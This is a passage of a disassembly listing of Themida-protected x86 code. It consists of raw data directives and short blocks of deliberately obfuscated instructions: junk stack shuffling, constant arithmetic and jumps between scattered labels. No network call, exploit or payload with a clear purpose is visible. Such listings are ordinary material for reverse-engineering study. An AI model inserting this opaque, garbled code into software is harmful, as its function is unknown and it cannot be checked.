		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 89242C89h, 43B951E5h
		dd 0E9084500h, 1721h, 6804C483h, 1EDCh,	0FFA159E9h, 0FE5AB3FFh
		dd 80C3FECBh, 0D8284DF3h, 14AFE9h, 7FE95900h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F9AB:				; CODE XREF: Themida_:005427D5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_53C0BF
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24343302h, 0FFF434E9h, 0B3C6B1FFh, 0E9CB303Fh, 0FFFFABE0h
		dd 6F78C581h, 0AFE94CFDh, 83000007h, 88E904C4h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53F9EB:				; CODE XREF: Themida_:0053A029j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53D985
; ---------------------------------------------------------------------------
		db 0BAh, 0D4h, 51h
		dd 75B825A4h, 1551BFCh,	0C492E9D0h, 6852FFFFh, 259Dh, 0FF9743E9h
		dd 81DFF7FFh, 90AB1DF7h, 5FFE31A6h, 34FFF029h, 54575E24h
		dd 342EE9h, 8068AD00h, 89000058h, 6068241Ch, 0FF11CC09h
		dd 815B2434h, 4C4h, 35142D00h, 0B5E97251h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53FA53:				; CODE XREF: Themida_:0053B942j
		push	esi
		push	64E3490Bh
		pop	esi
		jmp	loc_53FF28
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFCF86E9h, 5FF801FFh, 0C09C381h, 0EB8119DAh, 181B68DDh
		dd 1B69EB81h, 0C3015099h, 0FF7D3AE9h, 242C89FFh, 2BDh
		dd 0F3EE8100h, 15E4463h, 0F3C681EEh, 8B5E4463h,	0C481242Ch
		dd 4, 2474FF56h, 7FE95E04h, 0BEFFFFB8h,	2, 335EF701h, 3C31243Ch
		dd 243C3324h, 0FFC256E9h, 0FF7BBFFh, 0CB812B07h, 0BF926EBh
		dd 0BC7F381h, 0F3816686h, 15483111h, 815BDF89h,	0CFBBB9C7h
		dd 5FFD29A7h, 875DEF01h, 665C243Ch, 8124148Bh, 4ECh, 243C8900h
		dd 8904EC83h, 4812424h,	424h, 0EAE95F00h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FB0B:				; CODE XREF: Themida_:005427CFj
		and	eax, ebp
		jmp	loc_53D0BD
; ---------------------------------------------------------------------------

loc_53FB12:				; CODE XREF: Themida_:0053F5E6j
		add	ecx, 55A36E7Dh
		push	eax
		push	edx
		mov	edx, 62C312D5h
		push	ebp
		mov	ebp, 1AF926A9h
		sub	ebp, 1CD18F9h
		jmp	loc_5380EF
; ---------------------------------------------------------------------------
		dd 4240483h, 40558h, 0EC810000h, 4, 0FFC4BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53FB45:				; CODE XREF: Themida_:0053B3AEj
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		pop	edx
		push	edx
		add	dword ptr [esp], 34E26F23h
		pop	ebp
		sub	ebp, 34E26F23h
		pop	edx
		pop	ecx
		sub	[edi+24h], ebp
		pop	ebp
		jmp	loc_53E66F
; ---------------------------------------------------------------------------
		dw 68h
		dd 89000034h, 0BAE9243Ch, 0F7FFFF89h, 1F38E9DFh, 0F3810000h
		dd 5E960F86h, 0E95BDA29h, 0FFFF7236h, 0B3241C89h, 0D4F2E9D9h
		dd 0E1F7FFFFh, 19FD68h,	24048900h, 0E952E089h, 0FFFFBE98h
		dd 34FFFB01h, 0C4815F24h, 4, 1B47E9h, 4EC8100h,	89000000h
		dd 5A542414h, 0DDE95250h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53FBCB:				; CODE XREF: Themida_:00537DEDj
		push	ecx
		jmp	loc_542720
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4E88300h, 2474FF50h, 28E95804h, 8300001Dh, 0D82104C4h
		dd 0FC0095Bh, 0FFFF7584h, 3E7B68FFh, 37E90000h,	0FF000000h
		dd 34FF3C77h, 24048B24h, 4C481h, 0EC830000h, 240C8904h
		dd 0B9E9E189h, 0C1000018h, 63E906EFh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FC23:				; CODE XREF: Themida_:00538653j
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_53725A
; ---------------------------------------------------------------------------
		dw 0F75Fh
		dd 0CF27E9D5h, 1489FFFFh, 60BB5324h, 0E9757C66h, 2A4h
		dd 0E908EFC1h, 8EFh, 89241C89h,	32D0E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53FC56:				; CODE XREF: Themida_:00538CACj
		push	6856h
		jmp	loc_53AB63
; ---------------------------------------------------------------------------
		dd 0E99CC885h, 0FFFF715Ah, 0C281E289h, 4, 0FFBF5FE9h, 24048BFFh
		dd 1F16E9h, 81686600h, 0C896648h, 0F8B25224h, 515EEA80h
		dd 0E0E9D188h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FC93:				; CODE XREF: Themida_:0053FDE9j
		sub	ecx, edx
		push	ebx
		jmp	loc_53D393
; ---------------------------------------------------------------------------
		db 81h
		dd 0D91F55EDh, 81D50117h, 0D91F55C5h, 24148B17h, 5004C483h
		dd 2B8h, 95B7E900h, 0E952FFFFh,	0FFFFA154h, 94ED8158h
		dd 29A4D9A3h, 50E95DE8h, 0BDFFFF9Dh, 0DB122B1h,	0EFF8ED81h
		dd 0EA89C10Eh, 81EAD15Dh, 505B7AF2h, 7637E934h,	0C481FFFFh
		dd 4, 0EC83EB01h, 24348904h, 0FFE01BE9h, 4C481FFh, 0E9000000h
		dd 0FFFFFF75h
; ---------------------------------------------------------------------------

loc_53FD08:				; CODE XREF: Themida_:0053A073j
		push	edi
		mov	edi, 71BC1D61h
		add	edi, 6E4EB3EFh
		mov	edx, edi
		pop	edi
		xor	edi, edx
		pop	edx
		sub	edx, edi
		pop	edi
		mov	ecx, [edx]
		pop	edx
		push	ebx
		push	ebx
		mov	ebx, esp
		push	5B05h
		mov	[esp], esi
		jmp	loc_53E2CC
; ---------------------------------------------------------------------------

loc_53FD31:				; CODE XREF: Themida_:0053B7B4j
		add	bl, al
		jmp	loc_53BD76
; ---------------------------------------------------------------------------
		dd 240C8B66h, 1C368h, 241C8900h, 0EC83E389h, 24348904h
		dd 4BEh, 5EF30100h, 0B25E9h, 0BF58100h,	1E4C7E9h, 0EE815DEEh
		dd 76CDD616h
		db 29h,	0F0h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 24BD3F3Eh
		push	edx
		mov	edx, 6ED9279Ch
		sub	edx, 360F1C77h
		shr	edx, 8
		shl	edx, 7
		add	edx, 1
		xor	edx, 4BE37BF3h
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_5389D6
; ---------------------------------------------------------------------------
		db 87h
		dd 4E781CFh, 8137460Fh,	3F4FF1EFh, 0AACF8137h, 8154E84Dh
		dd 0F906BBCFh, 0CFF78131h, 0E9F742CAh, 1E52h
; ---------------------------------------------------------------------------

loc_53FDD0:				; CODE XREF: Themida_:0053F046j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 38300E0h
		push	esi
		mov	esi, 3E502B32h
		sub	ecx, esi
		pop	esi
		jmp	loc_53FC93
; ---------------------------------------------------------------------------
		dw 305Ch
		dd 24148BF0h, 0E904C483h, 369h,	340458h, 0B75366D0h, 66F82834h
		dd 83241C8Bh, 76E902C4h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FE13:				; CODE XREF: Themida_:005414AAj
		shl	edx, 4
		shl	edx, 8
		sub	edx, 59DA3D1Dh
		shr	edx, 6
		sub	edx, 7CDC60Eh
		xor	esi, edx
		pop	edx
		mov	edi, esi
		jmp	loc_538C9F
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 582434FFh, 0E9E08950h, 2D84h
; ---------------------------------------------------------------------------

loc_53FE40:				; CODE XREF: Themida_:005401F4j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_53DB0E
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0EEh
		dd 24343302h, 33243431h, 248B2434h, 4896624h, 6F60E924h
		dd 0D768FFFFh, 8900005Ah, 8B542404h, 0E9552404h, 0FFFFBAF7h
		dd 0CCE9CF88h, 0BA000014h, 74AA04DDh, 0FFBFB0E9h, 80E328FFh
		dd 48B95C3h, 4C48324h, 0F83C380h, 0A268C0B6h, 89000065h
		dd 8B54240Ch, 0C481240Ch, 4, 588CBB53h,	4AE964CCh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FEB3:				; CODE XREF: Themida_:0053EB8Fj
		push	edx
		mov	dl, 0D4h
		dec	dl
		shr	dl, 8
		add	dl, 0A8h
		sub	al, dl
		jmp	loc_53F91F
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 2Eh
		dd 0E976BC7Fh, 0FFFFDD76h
; ---------------------------------------------------------------------------

loc_53FED0:				; CODE XREF: Themida_:005388F1j
		pop	dx
		jmp	loc_53E416
; ---------------------------------------------------------------------------
		db 66h
		dd 0E901582Dh, 0FFFFD355h, 0E92434FFh, 0FFFFB2D0h, 7C669EBAh
		dd 0B716E975h, 8953FFFFh, 4C381E3h, 83000000h, 1C3302C3h
		dd 241C3124h, 0E9241C33h, 0FFFFAF1Eh, 0E940478Fh, 0FFFF6EAEh
		dd 0B951E789h, 53350A05h, 0D105E1C1h, 0E95356E9h, 0FFFFB63Eh
; ---------------------------------------------------------------------------

loc_53FF28:				; CODE XREF: Themida_:0053FA5Aj
		shr	esi, 8
		push	edi
		mov	edi, 0BDD2945h
		sub	esi, edi
		jmp	loc_53B80C
; ---------------------------------------------------------------------------

loc_53FF38:				; CODE XREF: Themida_:00540084j
		xor	eax, 15F8064Bh
		jmp	loc_537D72
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4B496419h, 5291F181h, 0D9F702B8h, 0F181D9F7h, 6D38D412h
		dd 0B933E605h, 2DC82915h, 15B933E6h, 57F82959h,	6D0DC5BFh
		dd 5FF80117h, 0E79EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53FF76:				; CODE XREF: Themida_:00536F07j
		pop	ecx
		add	ebx, edi
		push	eax
		mov	eax, 7A8F5D0Bh
		shl	eax, 5
		xor	eax, 3FDBC729h
		jmp	loc_5423C7
; ---------------------------------------------------------------------------
		dd 50241C8Bh, 4055854h,	51000000h, 4B9h, 59C80100h, 5C240487h
		dd 8B240487h, 4282424h,	0FE99C24h, 81FFFF6Eh, 0D53EB0C6h
		dd 57EBBB1Fh, 0BA522969h, 0
		dd 5253DA29h, 34FF5A5Bh, 24148B24h, 8304C483h, 0BA5204C4h
		dd 20F16AEh, 0E9EEE957h, 0B850FFFFh, 0EADFC840h, 8958C629h
		dd 0AE7BE9F2h, 6858FFFFh, 1CADh, 0E9242C89h, 0FFFFEFFBh
		dd 0FF2434FFh, 81582434h, 4C4h,	0F836800h, 2C890000h, 7B2BE924h
		dd 0F729FFFFh, 0FFD413E9h, 3B7BBFFFh, 2FE91991h, 0ADFFFFC5h
		dd 26C8E955h, 0B8500000h, 0AA451FFBh, 0FF821DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54003D:				; CODE XREF: Themida_:0053DB1Cj
		push	edx
		pop	ebp
		mov	edx, [esp]
		push	ecx
		jmp	loc_53D9CE
; ---------------------------------------------------------------------------

loc_540048:				; CODE XREF: Themida_:005415DFj
		xor	eax, 6DD66AD2h
		xor	eax, 0BD10DB9Eh
		jmp	loc_538320
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 93470D2Dh, 0E9D0013Dh, 0FFFF860Eh, 10E4E953h, 0F0280000h
		dd 969E9h, 0E0895000h, 4BB53h, 17E90000h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540083:				; CODE XREF: Themida_:0053BB66j
		pop	esp
		jmp	loc_53FF38
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8300h, 5C243487h, 0FF240C89h, 8B042474h, 0C481240Ch
		dd 4, 17EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5400AD:				; CODE XREF: Themida_:0053A790j
		push	esi
		jmp	loc_540E21
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0F681DEF7h, 20E7051Ch, 0FF95A4E9h, 78832DFFh, 0D0F75116h
		dd 5B72BC0Dh, 306E3549h, 132D1CC1h, 89CEE6D8h, 1EB7E9C5h
		dd 0DA880000h, 4AE95Bh,	0C1810000h, 4, 31240C33h, 0C33240Ch
		dd 4295C24h, 0C3E99C24h, 0E9FFFF6Ch, 0FFFF6CBEh, 7DC5EE81h
		dd 0F58925BAh, 246C015Eh, 0ABE95D04h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540117:				; CODE XREF: Themida_:005427C9j
		push	ecx
		sub	dword ptr [esp], 6AC453E6h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 6AC453E6h
		jmp	loc_539A4D
; ---------------------------------------------------------------------------
		dd 5A66D400h, 0FFC4E5E9h, 4C481FFh, 0E9000000h,	0FFFF896Ch
; ---------------------------------------------------------------------------

loc_540144:				; CODE XREF: Themida_:005379F2j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, 46C6680Dh
		add	ebx, eax
		sub	ebx, 46C6680Dh
		jmp	loc_537CBB
; ---------------------------------------------------------------------------
		db 68h,	0A7h, 21h
		dd 1C890000h, 0EC815124h, 4, 0E9240489h, 0FFFFA174h, 7E647ABBh
		dd 0FFDA313Bh, 815B2434h, 4C4h,	9AD5E900h, 0FD01FFFFh
		dd 6F78ED81h, 3C8B4CFDh, 0DBEFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5401A2:				; CODE XREF: Themida_:00542C9Dj
		sub	edi, 5F571DD0h
		add	edi, eax
		jmp	loc_539DE3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041858h, 6C04E99Ch, 6850FFFFh, 6534h, 57240C89h
		dd 4607EC68h, 2434FF6Bh, 4C4835Fh, 4FFFC783h, 0E907E7C1h
		dd 0FFFFADF9h
; ---------------------------------------------------------------------------

loc_5401E0:				; CODE XREF: Themida_:0053F65Ej
		mov	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_53FE40
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 83000000h, 0EE902C5h, 0B9000006h, 0F3E48C3h,	4317C181h
		dd 6E93A09h, 5BFFFFB3h,	0E924048Fh, 0FFFFBB16h,	0F92A2D5Bh
		dd 0E3E9CE0Eh, 8FFFFFB6h, 665C2404h, 0E9240C8Bh, 0FFFFF981h
		dd 6824148Bh, 6DC7h, 1D6DE9h, 8BD70100h, 0C4812414h, 4
		dd 242C8157h, 0FFFFFFFFh, 0FF875AE9h, 6B60E9FFh, 835BFFFFh
		dd 0C3E904C4h, 83FFFF9Dh, 0EC8104C4h, 4, 55240489h, 0E8240F68h
		dd 814D5D41h, 7424CAE5h, 1FCD813Ch, 8117C048h, 1F93E3C5h
		dd 5DE889E8h, 5758C701h, 42474FFh, 24048F5Fh, 0FFAC2DE9h
		dd 6BC281FFh, 2131C565h, 0BE565AD7h, 4BB22CFCh,	433AF681h
		dd 0CE817021h, 25C139AAh, 454AEE81h, 0C68161AAh, 0FE8AC4D9h
		dd 4DE9F701h, 28FFFF81h, 0F5866E3h, 8B66C0B6h, 89562414h
		dd 4BD55E6h, 1000000h, 0C3CCE9EEh, 0EB81FFFFh, 1D6B45DCh
		dd 241C875Ah, 0F624248Bh, 0B60F66F1h, 3EFE9CCh,	0C6FE0000h
		dd 66A8CE80h, 0E97CB551h, 0FFFFB5B7h, 54240489h, 0C2E95758h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54031F:				; CODE XREF: Themida_:005378A9j
		mov	eax, [esp]
		jmp	loc_53F304
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FF6A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540335:				; CODE XREF: Themida_:00541AE4j
		pop	ebx
		push	36E6h
		mov	[esp], esi
		push	esp
		jmp	loc_53C8C6
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFF8F67h
; ---------------------------------------------------------------------------

loc_54034C:				; CODE XREF: Themida_:0053EE32j
		sub	edi, 26C32009h
		jmp	loc_54107E
; ---------------------------------------------------------------------------
aIslS		db '┴И▀,$И╟!',0
		dd 51570400h, 0C8286AB1h, 240C8B59h, 5DA68h, 24048900h
		dd 0FFC62EE9h, 0E78957FFh, 724BB951h, 0F1816F91h, 6F91724Fh
		dd 0C8BCF01h, 4C48324h,	4B04B951h, 0E1C10C79h, 0C0C98106h
		dd 810BF972h, 0FBF3BCE9h, 59CF291Fh, 8B243C87h,	34892424h
		dd 0A1685224h, 0E95E1E20h, 0FFFFE590h, 5652515Ch, 0C681E689h
		dd 4, 0FF833EE9h, 243C33FFh, 6624248Bh,	9C240421h, 0FF69E5E9h
		dd 0C8B66FFh, 4EC8324h,	0FFE8A0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5403E9:				; CODE XREF: Themida_:0053EEE0j
		inc	ebp
		xchg	ebp, edi
		add	edi, 92D8855Ah
		jmp	loc_53A710
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 9C243CD3h, 0FFEDE0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_540409:				; CODE XREF: Themida_:0054099Aj
		mov	esi, 298E2479h
		sub	edx, 57582009h
		jmp	loc_541477
; ---------------------------------------------------------------------------

loc_540419:				; CODE XREF: Themida_:0053D473j
		push	edi
		mov	edi, 773A6A7Ah
		dec	edi
		xor	edi, 1A1D10D0h
		jmp	loc_53EEDE
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C68004EEh, 0A39E937h, 0ABBE0000h, 1524A67h,	3C8B5EF2h
		dd 4C48324h, 0FF6979E9h, 76E95CFFh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54044F:				; CODE XREF: Themida_:0053B807j
		push	ebx
		xor	dword ptr [esp], 544873ABh
		pop	eax
		xor	eax, 544873ABh
		pop	ebx
		mov	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 24D23A74h
		neg	ecx
		sub	ecx, 78BB4412h
		dec	ecx
		not	ecx
		xor	ecx, 16F610F0h
		sub	edx, ecx
		pop	ecx
		xor	ebp, edx
		pop	edx
		sub	[edx+30h], ebp
		pop	ebp
		add	dword ptr [edx+30h], 0FFFFFFFFh
		xor	dword ptr [edx+30h], 914A33Ch
		popa
		jmp	loc_53CA3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0A799E958h, 0BF57FFFFh, 63780AFEh, 3C8BFA29h
		dd 4C48324h, 83243C8Bh,	9CE904C4h, 0FFFFFFD0h, 2FE92434h
		dd 51FFFFFBh, 4B850h, 0C1890000h, 8324048Bh, 0CB0104C4h
		dd 241C8759h, 6824248Bh, 1EE0h,	54240C89h, 75B46859h, 14890000h
		dd 4BA24h, 0D1010000h, 0FFA89DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5404F9:				; CODE XREF: Themida_:0053D8B5j
		sub	edi, 4
		jmp	loc_5405FE
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0EA810000h, 7FB91802h, 0DCE9CA01h, 83000020h, 3C8704C7h
		dd 0BF0F5C24h, 7C4768C8h, 3C890000h, 83E78924h,	48904ECh
		dd 46824h, 48B0000h, 6CE95124h,	50FFFFCBh, 0FFEB0AE9h
		dd 0B35358FFh, 2E3C014h, 0E906E3C0h, 0FFFFBBF0h, 4244C01h
		dd 4244481h, 0BD382Fh, 24348B59h, 0FFB465E9h, 54EF81FFh
		dd 5D5C071Dh, 0E902C783h, 0FFFFD30Bh, 4ABFE981h, 81490B49h
		dd 0F13466F1h, 63C1811Ch, 811A4A0Bh, 0E02714C1h, 8BCA01A4h
		dd 8956240Ch, 4C681E6h,	83000000h, 348704C6h, 0FF525C24h
		dd 0FF042474h, 0E2E92434h, 5AFFFFB1h, 0FF7A8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5405B5:				; CODE XREF: Themida_:00542B01j
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	1
		pop	esi
		mov	edx, esi
		jmp	loc_53CE2B
; ---------------------------------------------------------------------------
aWs@		db '^WИ@"',0
		align 4
		dd 0F66C331h, 0EC8100B6h, 4, 89241C89h,	4C381E3h, 52000000h
		dd 8904EC83h, 2BE2434h,	89000000h, 0FFCFE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5405FE:				; CODE XREF: Themida_:005404FCj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 4A4E755Fh
		push	dword ptr [esp]
		jmp	loc_5427D4
; ---------------------------------------------------------------------------

loc_540614:				; CODE XREF: Themida_:0053EA39j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_539CC2
; ---------------------------------------------------------------------------
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 29EC069Eh
		xor	edx, 29EC069Ah
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53A4C3
; ---------------------------------------------------------------------------

loc_540666:				; CODE XREF: Themida_:005371E0j
		mov	dh, 0BDh
		mov	ah, dh
		mov	dx, [esp]
		add	esp, 2
		push	dx
		jmp	loc_53B22A
; ---------------------------------------------------------------------------
		dd 951F9905h, 2DD00120h, 20951F99h, 0CE5AE95Ah,	0F668FFFFh
		dd 89000039h, 0E589242Ch, 4C581h, 0C5830000h, 0F09E904h
		dd 0E2890000h, 1032BE56h, 4E4E3988h, 0FF968EE9h, 4C481FFh
		dd 83000000h, 0FDE904ECh, 100000Eh, 241C8BDEh, 4EC8353h
		dd 0FFC9C4E9h, 4C481FFh, 0E9000000h, 0FFFFBAD7h
; ---------------------------------------------------------------------------

loc_5406D8:				; CODE XREF: Themida_:00541429j
		pop	esp
		not	ecx
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		push	eax
		push	ebx
		jmp	loc_542C7D
; ---------------------------------------------------------------------------

loc_5406E8:				; CODE XREF: Themida_:0053A198j
		mov	[esp], esi
		mov	esi, 1
		jmp	loc_536E9A
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		dd 0FF791FE9h, 0E6B951FFh, 29681138h, 240C8BCDh, 57E18951h
		dd 2CF6B951h, 0E1816CE1h, 27C173D7h, 0B2D6E949h, 8966FFFFh
		dd 0F66240Ch, 5166C8B6h, 6694E99Ch, 8B66FFFFh, 5668240Ch
		dd 89000056h, 6BE9243Ch
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54073F:				; CODE XREF: Themida_:00539A61j
		neg	ecx
		push	edi
		jmp	loc_53C7FF
; ---------------------------------------------------------------------------

loc_540747:				; CODE XREF: Themida_:00539547j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		jmp	loc_53EDB7
; ---------------------------------------------------------------------------
aIuho3		db '┴Цho3',0
		align 2
		dw 0A7E9h
		dd 31FFFFE0h, 0FCE95DEBh, 58FFFFB3h, 2C781h, 0B8E90000h
		dd 81FFFF9Fh, 0E00473EDh, 0A55AE90Bh, 0CA01FFFFh, 7321E959h
		dd 8351FFFFh, 1C8904ECh, 81E38924h, 4C3h, 4EB8300h, 5C241C87h
		dd 0E9242489h, 0FFFFDD03h, 8704C683h, 57E92434h, 81FFFFE7h
		dd 4D3E95CEh, 0D9E94616h, 31FFFFB9h, 0ACE92434h, 66FFFFB2h
		dd 50243C87h, 405E089h,	2D000000h, 2, 5C240487h, 243C8966h
		dd 0FFCFBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5407E9:				; CODE XREF: Themida_:0053E37Fj
		mov	ebp, esi
		jmp	loc_53710F
; ---------------------------------------------------------------------------
aQiHE		db 'Q┬яh%E',0
		align 4
		dd 88241C89h, 2E5768CFh, 14890000h, 0FC885024h,	48BE288h
		dd 4C48324h, 0FFCE67E9h, 242C33FFh, 0FF7DC7E9h,	2434FFFFh
		dd 0E7895759h, 50EEBB53h, 0C3812859h, 0D7A6AF16h, 815BDF01h
		dd 4ECh, 240C8900h, 104243B9h, 0D1F74931h, 23F9C981h, 52410014h
		dd 0C281E289h, 4, 0FFD110E9h, 68FFh, 1C8B0000h,	0E9545324h
		dd 0FFFF7B44h, 0C08FB652h, 0EE8004E6h, 0B73DE977h, 34FFFFFFh
		dd 955FE924h, 0EC83FFFFh, 242C8904h, 0FF7A5BE9h, 0E9FB09FFh
		dd 0FFFFD642h, 8A65FBB9h, 8AF18142h, 0E915C401h, 0FFFF6983h
		dd 3D068EBBh, 5BD80129h, 2404335Eh, 33240431h, 248B2404h
		dd 0C8B60F24h, 75F768h,	240C8900h, 0FF64FDE9h, 0D3E980FFh
		dd 0F180D9F6h, 59C8286Eh, 0E92434FFh, 0FFFF8703h, 240C8B66h
		dd 0BAB68h, 240C8900h, 7EDF68h,	24248900h, 4BE56h, 74010000h
		dd 8B5E0424h, 0C481240Ch, 4, 4C181h, 24680000h,	8900003Eh
		dd 5752241Ch, 0DE2924BFh, 5FFA895Ah, 2FFAE281h,	0EAD1082Eh
		dd 68BDE281h, 0D2F764ACh, 8103EAC1h, 7F7FEFF2h,	5AD3891Fh
		dd 0E95BD901h, 0FFFFCDEEh, 5C24048Fh, 4EFD68h, 24148900h
		dd 0FF9053E9h, 52D3F6FFh, 0D300B6B2h, 8124148Bh, 4C4h
		dd 6FBDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540962:				; CODE XREF: Themida_:0053CB58j
		add	edx, 9B6197Eh
		sub	edx, 0B68D608Ah
		and	edi, edx
		pop	edx
		push	eax
		mov	eax, 27F17E76h
		neg	eax
		jmp	loc_54132F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E0E95124h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540987:				; CODE XREF: Themida_:00537FDDj
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_540409
; ---------------------------------------------------------------------------
		align 10h
		dd 0D517E9CBh, 3C31FFFFh, 243C3324h, 0FF905CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5409B1:				; CODE XREF: Themida_:0053710Aj
		pop	ebp
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_53C91F
; ---------------------------------------------------------------------------

loc_5409C3:				; CODE XREF: Themida_:0053786Cj
		xchg	edx, [esp]
		pop	esp
		pop	edx
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jnz	loc_5425A9
		push	eax
		mov	eax, 20h
		jmp	loc_5379F0
; ---------------------------------------------------------------------------
		dw 0ED2Ch
		dd 0FF8496E9h, 4EC83FFh, 0E9241489h, 636h
; ---------------------------------------------------------------------------

loc_5409F0:				; CODE XREF: Themida_:00536E30j
		mov	ch, 0B5h
		push	ebx
		jmp	loc_53CBC0
; ---------------------------------------------------------------------------
		dd 3C8BFB01h, 0C9F2E924h, 77FFFFFFh, 59669D1Ch,	9C241CD2h
		dd 0FF63B1E9h, 240C8BFFh, 43A768h, 24348900h, 0B9515E54h
		dd 2B956EB8h, 0C107E1C1h, 0D9F703E1h, 0F600E949h, 0B850FFFFh
		dd 0F587111h, 960A6F0Dh, 7BBB532Fh, 0E95DA26Fh,	0FFFF6F9Dh
		dd 4C481h, 0E9C10000h, 0FFDCE908h, 0E781FFFFh, 45A1697Fh
		dd 0E781DFF7h, 7FB72DDAh, 2DD4EF81h, 0F9017E97h, 4C1835Fh
		dd 0E9240C87h, 0FFFF94E5h, 0E9D6E958h, 0D901FFFFh, 0E428E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_540A86:				; CODE XREF: Themida_:00542C0Bj
		sub	ecx, 6F184DE9h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 5B220B82h
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jnz	loc_53B436
		push	esi
		mov	esi, esp
		push	3701h
		jmp	loc_542AEE
; ---------------------------------------------------------------------------

loc_540AB6:				; CODE XREF: Themida_:005421F3j
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_53A934
; ---------------------------------------------------------------------------
		db 45h
		dd 0B850DDF7h, 2ED813F8h, 2429E9h, 4BF00h, 0E9810000h
